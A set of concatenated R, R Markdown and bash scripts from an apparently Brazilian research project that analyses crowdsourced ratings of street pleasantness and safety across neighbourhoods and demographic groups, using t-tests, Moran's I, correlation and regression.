ggplot(centroData, aes(y=centroData$V3, x=c(output2)))+geom_boxplot() + ggtitle(paste("Boxplot ", output2))
ggplot(liberdadeData, aes(y=liberdadeData$V3, x=c(output3)))+geom_boxplot() + ggtitle(paste("Boxplot ", output3))
qqnorm(catoleData$V3)
qqline(catoleData$V3)
qqnorm(centroData$V3)
qqline(centroData$V3)
qqnorm(liberdadeData$V3)
qqline(liberdadeData$V3)
```
##Não Conhece Segurança
### Catole x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
source('calculaTTest.R')
catole <- "bairros100/catoleSegNConheceAll.dat"
centro <- "bairros100/centroSegNConheceAll.dat"
liberdade <- "bairros100/liberdadeSegNConheceAll.dat"
color <- "green"
output1 <- "Catole Seg NConhece"
output2 <- "Centro Seg NConhece"
output3 <- "Liberdade Seg NConhece"
calculateTTests(catole, centro, output1, output2, color, TRUE)
catoleData <- data1
centroData <- data2
```
### Liberdade x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(liberdade, centro, output3, output2, color, TRUE)
liberdadeData <- data1
```
### Catole x Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(catole, liberdade, output1, output3, color, TRUE)
```
### Normalidade Catole, Centro, Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
ggplot(catoleData, aes(y=catoleData$V3, x=c(output1)))+geom_boxplot() + ggtitle(paste("Boxplot ", output1))
ggplot(centroData, aes(y=centroData$V3, x=c(output2)))+geom_boxplot() + ggtitle(paste("Boxplot ", output2))
ggplot(liberdadeData, aes(y=liberdadeData$V3, x=c(output3)))+geom_boxplot() + ggtitle(paste("Boxplot ", output3))
qqnorm(catoleData$V3)
qqline(catoleData$V3)
qqnorm(centroData$V3)
qqline(centroData$V3)
qqnorm(liberdadeData$V3)
qqline(liberdadeData$V3)
```
<file_sep>#!/bin/Rscript
# Calculates the Krippendorf Alpha for general data and the Moran I score
library(irr)
library(ape)
args <- commandArgs(trailingOnly = TRUE)
#Kripp
krippAlpha <- function () {
dadosAgra <- read.table("consenseMatrixAgra.dat", header=TRUE, row.names=1)
dadosSeg <- read.table("consenseMatrixSeg.dat", header=TRUE, row.names=1)
matrizAgra <- data.matrix(dadosAgra)
matrizSeg <- data.matrix(dadosSeg)
kripp.alpha(matrizAgra, method="nominal")
kripp.alpha(matrizSeg, method="nominal")
}
#Moran I
moranI <- function () {
agra <- args[2]
seg <- args[3]
data<-read.table(agra, sep="+", header=F)
ozone.dists <- as.matrix(dist(cbind(ozone$V5, ozone$V4)))
ozone.dists.inv <- 1/(1+ozone.dists)
diag(ozone.dists.inv) <- 0
print(">> Agradavel")
Moran.I(ozone$V3, ozone.dists.inv)
data<-read.table(seg, sep="+", header=F)
ozone.dists <- as.matrix(dist(cbind(ozone$V5, ozone$V4)))
ozone.dists.inv <- 1/(1+ozone.dists)
diag(ozone.dists.inv) <- 0
print(">> Seguro")
Moran.I(ozone$V3, ozone.dists.inv)
}
execute <- args[1]
if (execute == 'both'){
krippAlpha()
moranI()
} else if (execute == 'moran') {
moranI()
} else if (execute == 'kripp') {
krippAlpha()
}
<file_sep>#!/bin/bash
python analisaUsuarios.py run.csv
python separaGrupo.py usersInfo.dat
#Separa grupos de usuarios
python selectRunPerUsers.py run.csv media.dat > runMedia.csv
python selectRunPerUsers.py run.csv baixa.dat > runBaixa.csv
python selectRunPerUsers.py run.csv adulto.dat > runAdulto.csv
python selectRunPerUsers.py run.csv jovem.dat > runJovem.csv
#python selectRunPerUsers.py run.csv menorMedian.dat > runMenorMed.csv
#python selectRunPerUsers.py run.csv maiorMedian.dat > runMaiorMed.csv
python selectRunPerUsers.py run.csv solteiro.dat > runSolteiro.csv
python selectRunPerUsers.py run.csv casado.dat > runCasado.csv
python selectRunPerUsers.py run.csv feminino.dat > runFeminino.csv
python selectRunPerUsers.py run.csv masculino.dat > runMasculino.csv
python selectRunPerUsers.py run.csv medio.dat > runMedio.csv
python selectRunPerUsers.py run.csv posgrad.dat > runPos.csv
python selectRunPerUsers.py run.csv catole.dat > runCatole.csv
python selectRunPerUsers.py run.csv centro.dat > runCentro.csv
python selectRunPerUsers.py run.csv liberdade.dat > runLiberdade.csv
python selectRunPerUsers.py run.csv notcatole.dat > runNotCatole.csv
python selectRunPerUsers.py run.csv notcentro.dat > runNotCentro.csv
python selectRunPerUsers.py run.csv notliberdade.dat > runNotLiberdade.csv
mv alta.dat baixa.dat adulto.dat jovem.dat solteiro.dat casado.dat feminino.dat masculino.dat medio.dat posgrad.dat catole.dat centro.dat liberdade.dat notcentro.dat notliberdade.dat notcatole.dat idsGrupos
#Analisa QScores
python analisaQScore.py run.csv 100
python analisaQScore.py runAdulto.csv 100
mv all.dat allAdulto.dat
python analisaQScore.py runJovem.csv 100
mv all.dat allJovem.dat
python analisaQScore.py runMenorMed.csv 100
mv all.dat allMenorMedian.dat
python analisaQScore.py runMaiorMed.csv 100
mv all.dat allMaiorMedian.dat
python analisaQScore.py runSolteiro.csv 100
mv all.dat allSolteiro.dat
python analisaQScore.py runCasado.csv 100
mv all.dat allCasado.dat
python analisaQScore.py runMedia.csv 100
mv all.dat allMedia.dat
python analisaQScore.py runBaixa.csv 100
mv all.dat allBaixa.dat
python analisaQScore.py runFeminino.csv 100
mv all.dat allFeminino.dat
python analisaQScore.py runMasculino.csv 100
mv all.dat allMasculino.dat
python analisaQScore.py runMedio.csv 100
mv all.dat allMedio.dat
python analisaQScore.py runPos.csv 100
mv all.dat allPos.dat
python analisaQScore.py runCatole.csv 100
mv all.dat allCatole.dat
python analisaQScore.py runCentro.csv 100
mv all.dat allCentro.dat
python analisaQScore.py runLiberdade.csv 100
mv all.dat allLiberdade.dat
python analisaQScore.py runNotCatole.csv 100
mv all.dat allNotCatole.dat
python analisaQScore.py runNotCentro.csv 100
mv all.dat allNotCentro.dat
python analisaQScore.py runNotLiberdade.csv 100
mv all.dat allNotLiberdade.dat
#Ordenando pelo valor médio
sort -k 3 -r all.dat > all_ordenado.dat
sort -k 3 -r allMedia.dat > allMediaOrd.dat
sort -k 3 -r allBaixa.dat > allBaixaOrd.dat
sort -k 3 -r allSolteiro.dat > allSolteiroOrd.dat
sort -k 3 -r allCasado.dat > allCasadoOrd.dat
sort -k 3 -r allFeminino.dat > allFemininoOrd.dat
sort -k 3 -r allMasculino.dat > allMasculinoOrd.dat
sort -k 3 -r allJovem.dat > allJovemOrd.dat
sort -k 3 -r allAdulto.dat > allAdultoOrd.dat
sort -k 3 -r allMedio.dat > allMedioOrd.dat
sort -k 3 -r allPos.dat > allPosOrd.dat
sort -k 3 -r allCatole.dat > allCatoleOrd.dat
sort -k 3 -r allCentro.dat > allCentroOrd.dat
sort -k 3 -r allLiberdade.dat > allLiberdadeOrd.dat
sort -k 3 -r allNotCatole.dat > allNotCatoleOrd.dat
sort -k 3 -r allNotCentro.dat > allNotCentroOrd.dat
sort -k 3 -r allNotLiberdade.dat > allNotLiberdadeOrd.dat
#Calculating Moran I Geral(falta revisar)
./processInputLatLong.sh all.dat
mv streetsQScoresLatLong.dat streetsQScoresLatLongAll.dat
grep "agrad%C3%A1vel?" streetsQScoresLatLongAll.dat > streetsQScoresLatLongAgraAll.dat
grep "seguro?" streetsQScoresLatLongAll.dat > streetsQScoresLatLongSegAll.dat
Rscript krippMoran.R moran streetsQScoresLatLongAgraAll.dat streetsQScoresLatLongSegAll.dat > moranAll.dat
#Por grupo
./processInputLatLong.sh allAdulto.dat
mv streetsQScoresLatLong.dat streetsQScoresLatLongAllAdulto.dat
grep "agrad%C3%A1vel?" streetsQScoresLatLongAllAdulto.dat > streetsQScoresLatLongAgraAllAdulto.dat
grep "seguro?" streetsQScoresLatLongAllAdulto.dat > streetsQScoresLatLongSegAllAdulto.dat
echo "Adulto" >> moranAll.dat
Rscript krippMoran.R moran streetsQScoresLatLongAgraAllAdulto.dat streetsQScoresLatLongSegAllAdulto.dat >> moranAll.dat
./processInputLatLong.sh allJovem.dat
mv streetsQScoresLatLong.dat streetsQScoresLatLongAllJovem.dat
grep "agrad%C3%A1vel?" streetsQScoresLatLongAllJovem.dat > streetsQScoresLatLongAgraAllJovem.dat
grep "seguro?" streetsQScoresLatLongAllJovem.dat > streetsQScoresLatLongSegAllJovem.dat
echo "Jovem" >> moranAll.dat
Rscript krippMoran.R moran streetsQScoresLatLongAgraAllJovem.dat streetsQScoresLatLongSegAllJovem.dat >> moranAll.dat
./processInputLatLong.sh allFeminino.dat
mv streetsQScoresLatLong.dat streetsQScoresLatLongAllFeminino.dat
grep "agrad%C3%A1vel?" streetsQScoresLatLongAllFeminino.dat > streetsQScoresLatLongAgraAllFeminino.dat
grep "seguro?" streetsQScoresLatLongAllFeminino.dat > streetsQScoresLatLongSegAllFeminino.dat
echo "Feminino" >> moranAll.dat
Rscript krippMoran.R moran streetsQScoresLatLongAgraAllFeminino.dat streetsQScoresLatLongSegAllFeminino.dat >> moranAll.dat
./processInputLatLong.sh allMasculino.dat
mv streetsQScoresLatLong.dat streetsQScoresLatLongAllMasculino.dat
grep "agrad%C3%A1vel?" streetsQScoresLatLongAllMasculino.dat > streetsQScoresLatLongAgraAllMasculino.dat
grep "seguro?" streetsQScoresLatLongAllMasculino.dat > streetsQScoresLatLongSegAllMasculino.dat
echo "Masculino" >> moranAll.dat
Rscript krippMoran.R moran streetsQScoresLatLongAgraAllMasculino.dat streetsQScoresLatLongSegAllMasculino.dat >> moranAll.dat
./processInputLatLong.sh allCasado.dat
mv streetsQScoresLatLong.dat streetsQScoresLatLongAllCasado.dat
grep "agrad%C3%A1vel?" streetsQScoresLatLongAllCasado.dat > streetsQScoresLatLongAgraAllCasado.dat
grep "seguro?" streetsQScoresLatLongAllCasado.dat > streetsQScoresLatLongSegAllCasado.dat
echo "Casado" >> moranAll.dat
Rscript krippMoran.R moran streetsQScoresLatLongAgraAllCasado.dat streetsQScoresLatLongSegAllCasado.dat >> moranAll.dat
./processInputLatLong.sh allSolteiro.dat
mv streetsQScoresLatLong.dat streetsQScoresLatLongAllSolteiro.dat
grep "agrad%C3%A1vel?" streetsQScoresLatLongAllSolteiro.dat > streetsQScoresLatLongAgraAllSolteiro.dat
grep "seguro?" streetsQScoresLatLongAllSolteiro.dat > streetsQScoresLatLongSegAllSolteiro.dat
echo "Solteiro" >> moranAll.dat
Rscript krippMoran.R moran streetsQScoresLatLongAgraAllSolteiro.dat streetsQScoresLatLongSegAllSolteiro.dat >> moranAll.dat
./processInputLatLong.sh allBaixa.dat
mv streetsQScoresLatLong.dat streetsQScoresLatLongAllBaixa.dat
grep "agrad%C3%A1vel?" streetsQScoresLatLongAllBaixa.dat > streetsQScoresLatLongAgraAllBaixa.dat
grep "seguro?" streetsQScoresLatLongAllBaixa.dat > streetsQScoresLatLongSegAllBaixa.dat
echo "Baixa" >> moranAll.dat
Rscript krippMoran.R moran streetsQScoresLatLongAgraAllBaixa.dat streetsQScoresLatLongSegAllBaixa.dat >> moranAll.dat
./processInputLatLong.sh allMedia.dat
mv streetsQScoresLatLong.dat streetsQScoresLatLongAllMedia.dat
grep "agrad%C3%A1vel?" streetsQScoresLatLongAllMedia.dat > streetsQScoresLatLongAgraAllMedia.dat
grep "seguro?" streetsQScoresLatLongAllMedia.dat > streetsQScoresLatLongSegAllMedia.dat
echo "Media" >> moranAll.dat
Rscript krippMoran.R moran streetsQScoresLatLongAgraAllMedia.dat streetsQScoresLatLongSegAllMedia.dat >> moranAll.dat
./processInputLatLong.sh allMedio.dat
mv streetsQScoresLatLong.dat streetsQScoresLatLongAllMedio.dat
grep "agrad%C3%A1vel?" streetsQScoresLatLongAllMedio.dat > streetsQScoresLatLongAgraAllMedio.dat
grep "seguro?" streetsQScoresLatLongAllMedio.dat > streetsQScoresLatLongSegAllMedio.dat
echo "Medio" >> moranAll.dat
Rscript krippMoran.R moran streetsQScoresLatLongAgraAllMedio.dat streetsQScoresLatLongSegAllMedio.dat >> moranAll.dat
./processInputLatLong.sh allPos.dat
mv streetsQScoresLatLong.dat streetsQScoresLatLongAllPos.dat
grep "agrad%C3%A1vel?" streetsQScoresLatLongAllPos.dat > streetsQScoresLatLongAgraAllPos.dat
grep "seguro?" streetsQScoresLatLongAllPos.dat > streetsQScoresLatLongSegAllPos.dat
echo "Pos" >> moranAll.dat
Rscript krippMoran.R moran streetsQScoresLatLongAgraAllPos.dat streetsQScoresLatLongSegAllPos.dat >> moranAll.dat
mkdir moran100
mv streetsQScoresLatLongAll*.dat streetsQScoresLatLongAgraAll* streetsQScoresLatLongSegAll* moranAll.dat moran100/
#Encontra interseccao entre qscores gerados
python encontraInterseccao.py allBaixaOrd.dat allMediaOrd.dat > intersectionAllBaixaMedia.dat
python encontraInterseccao.py allSolteiroOrd.dat allCasadoOrd.dat > intersectionAllSolteiroCasado.dat
python encontraInterseccao.py allFemininoOrd.dat allMasculinoOrd.dat > intersectionAllFemininoMasculino.dat
python encontraInterseccao.py allJovemOrd.dat allAdultoOrd.dat > intersectionAllJovemAdulto.dat
#python encontraInterseccao.py allMenorMedianOrd.dat allMaiorMedianOrd.dat > intersectionAllMenorMaiorMedian.dat
python encontraInterseccao.py allMedioOrd.dat allPosOrd.dat > intersectionAllMedioPos.dat
python encontraInterseccao.py allCentroOrd.dat allNotCentroOrd.dat > intersectionAllCentro.dat
python encontraInterseccao.py allLiberdadeOrd.dat allNotLiberdadeOrd.dat > intersectionAllLiberdade.dat
python encontraInterseccao.py allCatoleOrd.dat allNotCatoleOrd.dat > intersectionAllCatole.dat
#Prepara paginas html e arquivos de interseccao ordenados (revisar a partir daqui)
python preparaHTML.py all_ordenado.dat
#Considerando todos os votos (qscore médio)
python preparaHTML.py allJovemOrd.dat intersectionAllJovemAdulto.dat > allJovemOrdInter.dat
mv question.html questionAllJovem.html
python preparaHTML.py allAdultoOrd.dat intersectionAllJovemAdulto.dat > allAdultoOrdInter.dat
mv question.html questionAllAdulto.html
#python preparaHTML.py allMenorMedianOrd.dat intersectionAllMenorMaiorMedian.dat > allMenorMedianOrdInter.dat
#mv question.html questionAllMenorMedian.html
#python preparaHTML.py allMaiorMedianOrd.dat intersectionAllMenorMaiorMedian.dat > allMaiorMedianOrdInter.dat
#mv question.html questionAllMaiorMedian.html
python preparaHTML.py allMediaOrd.dat intersectionAllBaixaMedia.dat > allMediaOrdInter.dat
mv question.html questionAllMedia.html
python preparaHTML.py allBaixaOrd.dat intersectionAllBaixaMedia.dat > allBaixaOrdInter.dat
mv question.html questionAllBaixa.html
python preparaHTML.py allFemininoOrd.dat intersectionAllFemininoMasculino.dat > allFemininoOrdInter.dat
mv question.html questionAllFeminino.html
python preparaHTML.py allMasculinoOrd.dat intersectionAllFemininoMasculino.dat > allMasculinoOrdInter.dat
mv question.html questionAllMasculino.html
python preparaHTML.py allCasadoOrd.dat intersectionAllSolteiroCasado.dat > allCasadoOrdInter.dat
mv question.html questionAllCasado.html
python preparaHTML.py allSolteiroOrd.dat intersectionAllSolteiroCasado.dat > allSolteiroOrdInter.dat
mv question.html questionAllSolteiro.html
python preparaHTML.py allMedioOrd.dat intersectionAllMedioPos.dat > allMedioOrdInter.dat
mv question.html questionAllMedio.html
python preparaHTML.py allPosOrd.dat intersectionAllMedioPos.dat > allPosOrdInter.dat
mv question.html questionAllPos.html
python preparaHTML.py allCentroOrd.dat intersectionAllCentro.dat > allCentroOrdInter.dat
grep "centro" allCentroOrdInter.dat > tmp.dat
mv tmp.dat allCentroOrdInter.dat
mv question.html questionAllCentro.html
python preparaHTML.py allNotCentroOrd.dat intersectionAllCentro.dat > allNotCentroOrdInter.dat
grep "centro" allNotCentroOrdInter.dat > tmp.dat
mv tmp.dat allNotCentroOrdInter.dat
mv question.html questionAllNotCentro.html
python preparaHTML.py allCatoleOrd.dat intersectionAllCatole.dat > allCatoleOrdInter.dat
grep "catole" allCatoleOrdInter.dat > tmp.dat
mv tmp.dat allCatoleOrdInter.dat
mv question.html questionAllCatole.html
python preparaHTML.py allNotCatoleOrd.dat intersectionAllCatole.dat > allNotCatoleOrdInter.dat
grep "catole" allNotCatoleOrdInter.dat > tmp.dat
mv tmp.dat allNotCatoleOrdInter.dat
mv question.html questionAllNotCatole.html
python preparaHTML.py allLiberdadeOrd.dat intersectionAllLiberdade.dat > allLiberdadeOrdInter.dat
grep "liberdade" allLiberdadeOrdInter.dat > tmp.dat
mv tmp.dat allLiberdadeOrdInter.dat
mv question.html questionAllLiberdade.html
python preparaHTML.py allNotLiberdadeOrd.dat intersectionAllLiberdade.dat > allNotLiberdadeOrdInter.dat
grep "liberdade" allNotLiberdadeOrdInter.dat > tmp.dat
mv tmp.dat allNotLiberdadeOrdInter.dat
mv question.html questionAllNotLiberdade.html
mkdir rankings100
mv question*.html rankings100
#Combina RGB, #Linhas e criterios
python combinaRGBQScoreLinhas.py rgb.dat all_ordenado.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAll.dat
mv rgbQScoreSeg.dat rgbQScoreSegAll.dat
#Considerando todos os votos (qscore médio)
python combinaRGBQScoreLinhas.py rgb.dat allAdultoOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllAdulto.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllAdulto.dat
python combinaRGBQScoreLinhas.py rgb.dat allJovemOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllJovem.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllJovem.dat
python combinaRGBQScoreLinhas.py rgb.dat allMenorMedianOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllMenorMedian.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllMenorMedian.dat
python combinaRGBQScoreLinhas.py rgb.dat allMaiorMedianOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllMaiorMedian.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllMaiorMedian.dat
python combinaRGBQScoreLinhas.py rgb.dat allMediaOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllMedia.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllMedia.dat
python combinaRGBQScoreLinhas.py rgb.dat allBaixaOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllBaixa.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllBaixa.dat
python combinaRGBQScoreLinhas.py rgb.dat allFemininoOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllFeminino.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllFeminino.dat
python combinaRGBQScoreLinhas.py rgb.dat allMasculinoOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllMasculino.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllMasculino.dat
python combinaRGBQScoreLinhas.py rgb.dat allCasadoOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllCasado.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllCasado.dat
python combinaRGBQScoreLinhas.py rgb.dat allSolteiroOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllSolteiro.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllSolteiro.dat
python combinaRGBQScoreLinhas.py rgb.dat allMedioOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllMedio.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllMedio.dat
python combinaRGBQScoreLinhas.py rgb.dat allPosOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllPos.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllPos.dat
python combinaRGBQScoreLinhas.py rgb.dat allCentroOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllCentro.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllCentro.dat
python combinaRGBQScoreLinhas.py rgb.dat allNotCentroOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllNotCentro.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllNotCentro.dat
python combinaRGBQScoreLinhas.py rgb.dat allLiberdadeOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllLiberdade.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllLiberdade.dat
python combinaRGBQScoreLinhas.py rgb.dat allNotLiberdadeOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllNotLiberdade.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllNotLiberdade.dat
python combinaRGBQScoreLinhas.py rgb.dat allCatoleOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllCatole.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllCatole.dat
python combinaRGBQScoreLinhas.py rgb.dat allNotCatoleOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllNotCatole.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllNotCatole.dat
mkdir inputCorrelacaoRegressao100
mv rgbQScore*.dat inputCorrelacaoRegressao100/
#Combina todos os arquivos de entrada em um arquivo para análise
for file in `ls all*OrdInter.dat` ; do
sed -i "s/https:\/\/contribua.org\/bairros\/norte\///g" $file
sed -i "s/https:\/\/contribua.org\/bairros\/oeste\///g" $file
done
Rscript combinaEntradas.R
python combinaEntradas.py temp.dat entradaGrupos.dat
rm -f temp.dat
#Analisa Correlacao
Rscript analisaCorrelacao.R inputCorrelacaoRegressao100/rgbQScoreAgradAll.dat inputCorrelacaoRegressao100/rgbQScoreSegAll.dat > correlacaoAll.dat
Rscript analisaCorrelacao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllMedia.dat inputCorrelacaoRegressao100/rgbQScoreSegMedia.dat > correlacaoMedia.dat
Rscript analisaCorrelacao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllBaixa.dat inputCorrelacaoRegressao100/rgbQScoreSegBaixa.dat > correlacaoBaixa.dat
Rscript analisaCorrelacao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllSolteiro.dat inputCorrelacaoRegressao100/rgbQScoreSegAllSolteiro.dat > correlacaoSolteiro.dat
Rscript analisaCorrelacao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllCasado.dat inputCorrelacaoRegressao100/rgbQScoreSegAllCasado.dat > correlacaoCasado.dat
Rscript analisaCorrelacao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllJovem.dat inputCorrelacaoRegressao100/rgbQScoreSegAllJovem.dat > correlacaoAllJovem.dat
Rscript analisaCorrelacao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllMenorMedian.dat inputCorrelacaoRegressao100/rgbQScoreSegAllMenorMedian.dat > correlacaoAllMenorMedian.dat
Rscript analisaCorrelacao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllAdulto.dat inputCorrelacaoRegressao100/rgbQScoreSegAllAdulto.dat > correlacaoAdulto.dat
Rscript analisaCorrelacao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllMaiorMedian.dat inputCorrelacaoRegressao100/rgbQScoreSegAllMaiorMedian.dat > correlacaoAllMaiorMedian.dat
Rscript analisaCorrelacao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllFeminino.dat inputCorrelacaoRegressao100/rgbQScoreSegAllFeminino.dat > correlacaoFeminino.dat
Rscript analisaCorrelacao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllMasculino.dat inputCorrelacaoRegressao100/rgbQScoreSegAllMasculino.dat > correlacaoMasculino.dat
Rscript analisaCorrelacao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllMedio.dat inputCorrelacaoRegressao100/rgbQScoreSegAllMedio.dat > correlacaoMedio.dat
Rscript analisaCorrelacao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllPos.dat inputCorrelacaoRegressao100/rgbQScoreSegAllPos.dat > correlacaoPos.dat
#TODO adicionar conhecer bairros e arquivos com all
mv *.pdf correlacao*.dat correlacao100/
#Analisa Regressao
Rscript analisaRegressao.R inputCorrelacaoRegressao100/rgbQScoreAgradAll.dat inputCorrelacaoRegressao100/rgbQScoreSegAll.dat > regressaoAll.dat
Rscript analisaRegressao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllMedia.dat inputCorrelacaoRegressao100/rgbQScoreSegAllMedia.dat > regressaoMedia.dat
Rscript analisaRegressao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllBaixa.dat inputCorrelacaoRegressao100/rgbQScoreSegAllBaixa.dat > regressaoBaixa.dat
Rscript analisaRegressao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllSolteiro.dat inputCorrelacaoRegressao100/rgbQScoreSegAllSolteiro.dat > regressaoSolteiro.dat
Rscript analisaRegressao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllCasado.dat inputCorrelacaoRegressao100/rgbQScoreSegAllCasado.dat > regressaoCasado.dat
Rscript analisaRegressao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllJovem.dat inputCorrelacaoRegressao100/rgbQScoreSegAllJovem.dat > regressaoJovem.dat
Rscript analisaRegressao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllMenorMedian.dat inputCorrelacaoRegressao100/rgbQScoreSegAllMenorMedian.dat > regressaoMenorMedian.dat
Rscript analisaRegressao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllAdulto.dat inputCorrelacaoRegressao100/rgbQScoreSegAllAdulto.dat > regressaoAdulto.dat
Rscript analisaRegressao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllMaiorMedian.dat inputCorrelacaoRegressao100/rgbQScoreSegAllMaiorMedian.dat > regressaoMaiorMedian.dat
Rscript analisaRegressao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllFeminino.dat inputCorrelacaoRegressao100/rgbQScoreSegAllFeminino.dat > regressaoFeminino.dat
Rscript analisaRegressao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllMasculino.dat inputCorrelacaoRegressao100/rgbQScoreSegAllMasculino.dat > regressaoMasculino.dat
Rscript analisaRegressao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllMedio.dat inputCorrelacaoRegressao100/rgbQScoreSegAllMedio.dat > regressaoMedio.dat
Rscript analisaRegressao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllPos.dat inputCorrelacaoRegressao100/rgbQScoreSegAllPos.dat > regressaoPos.dat
#TODO adicionar conhecer bairros e arquivos com all
mv *.pdf regressao*.dat regressao100/
#Calcula ICs por ponto para cada grupo
Rscript analisaICPorFoto.R allSolteiroOrdInter.dat allCasadoOrdInter.dat solteiro casado
#head -n 1 teste1.txt > allICSolteiroCentro.dat
#head -n 1 teste1.txt > allICSolteiroLib.dat
#head -n 1 teste1.txt > allICSolteiroCat.dat
#grep "centro" teste1.txt >> allICSolteiroCentro.dat
#grep "liberdade" teste1.txt >> allICSolteiroLib.dat
#grep "catole" teste1.txt >> allICSolteiroCat.dat
#head -n 1 teste2.txt > allICCasadoCentro.dat
#head -n 1 teste2.txt > allICCasadoLib.dat
#head -n 1 teste2.txt > allICCasadoCat.dat
#grep "centro" teste2.txt >> allICCasadoCentro.dat
#grep "liberdade" teste2.txt >> allICCasadoLib.dat
#grep "catole" teste2.txt >> allICCasadoCat.dat
mv teste1.txt allICSolteiro.dat
mv teste2.txt allICCasado.dat
Rscript analisaICPorFoto.R allBaixaOrdInter.dat allMediaOrdInter.dat baixa media
#head -n 1 teste1.txt > allICBaixaCentro.dat
#head -n 1 teste1.txt > allICBaixaLib.dat
#head -n 1 teste1.txt > allICBaixaCat.dat
#grep "centro" teste1.txt >> allICBaixaCentro.dat
#grep "liberdade" teste1.txt >> allICBaixaLib.dat
#grep "catole" teste1.txt >> allICBaixaCat.dat
#head -n 1 teste2.txt > allICMediaCentro.dat
#head -n 1 teste2.txt > allICMediaLib.dat
#head -n 1 teste2.txt > allICMediaCat.dat
#grep "centro" teste2.txt >> allICMediaCentro.dat
#grep "liberdade" teste2.txt >> allICMediaLib.dat
#grep "catole" teste2.txt >> allICMediaCat.dat
mv teste1.txt allICBaixa.dat
mv teste2.txt allICMedia.dat
Rscript analisaICPorFoto.R allFemininoOrdInter.dat allMasculinoOrdInter.dat feminino masculino
#head -n 1 teste1.txt > allICFemininoCentro.dat
#head -n 1 teste1.txt > allICFemininoLib.dat
#head -n 1 teste1.txt > allICFemininoCat.dat
#grep "centro" teste1.txt >> allICFemininoCentro.dat
#grep "liberdade" teste1.txt >> allICFemininoLib.dat
#grep "catole" teste1.txt >> allICFemininoCat.dat
#head -n 1 teste2.txt > allICMasculinoCentro.dat
#head -n 1 teste2.txt > allICMasculinoLib.dat
#head -n 1 teste2.txt > allICMasculinoCat.dat
#grep "centro" teste2.txt >> allICMasculinoCentro.dat
#grep "liberdade" teste2.txt >> allICMasculinoLib.dat
#grep "catole" teste2.txt >> allICMasculinoCat.dat
mv teste1.txt allICFeminino.dat
mv teste2.txt allICMasculino.dat
Rscript analisaICPorFoto.R allAdultoOrdInter.dat allJovemOrdInter.dat adulto jovem
#head -n 1 teste1.txt > allICAdultoCentro.dat
#head -n 1 teste1.txt > allICAdultoLib.dat
#head -n 1 teste1.txt > allICAdultoCat.dat
#grep "centro" teste1.txt >> allICAdultoCentro.dat
#grep "liberdade" teste1.txt >> allICAdultoLib.dat
#grep "catole" teste1.txt >> allICAdultoCat.dat
#head -n 1 teste2.txt > allICJovemCentro.dat
#head -n 1 teste2.txt > allICJovemLib.dat
#head -n 1 teste2.txt > allICJovemCat.dat
#grep "centro" teste2.txt >> allICJovemCentro.dat
#grep "liberdade" teste2.txt >> allICJovemLib.dat
#grep "catole" teste2.txt >> allICJovemCat.dat
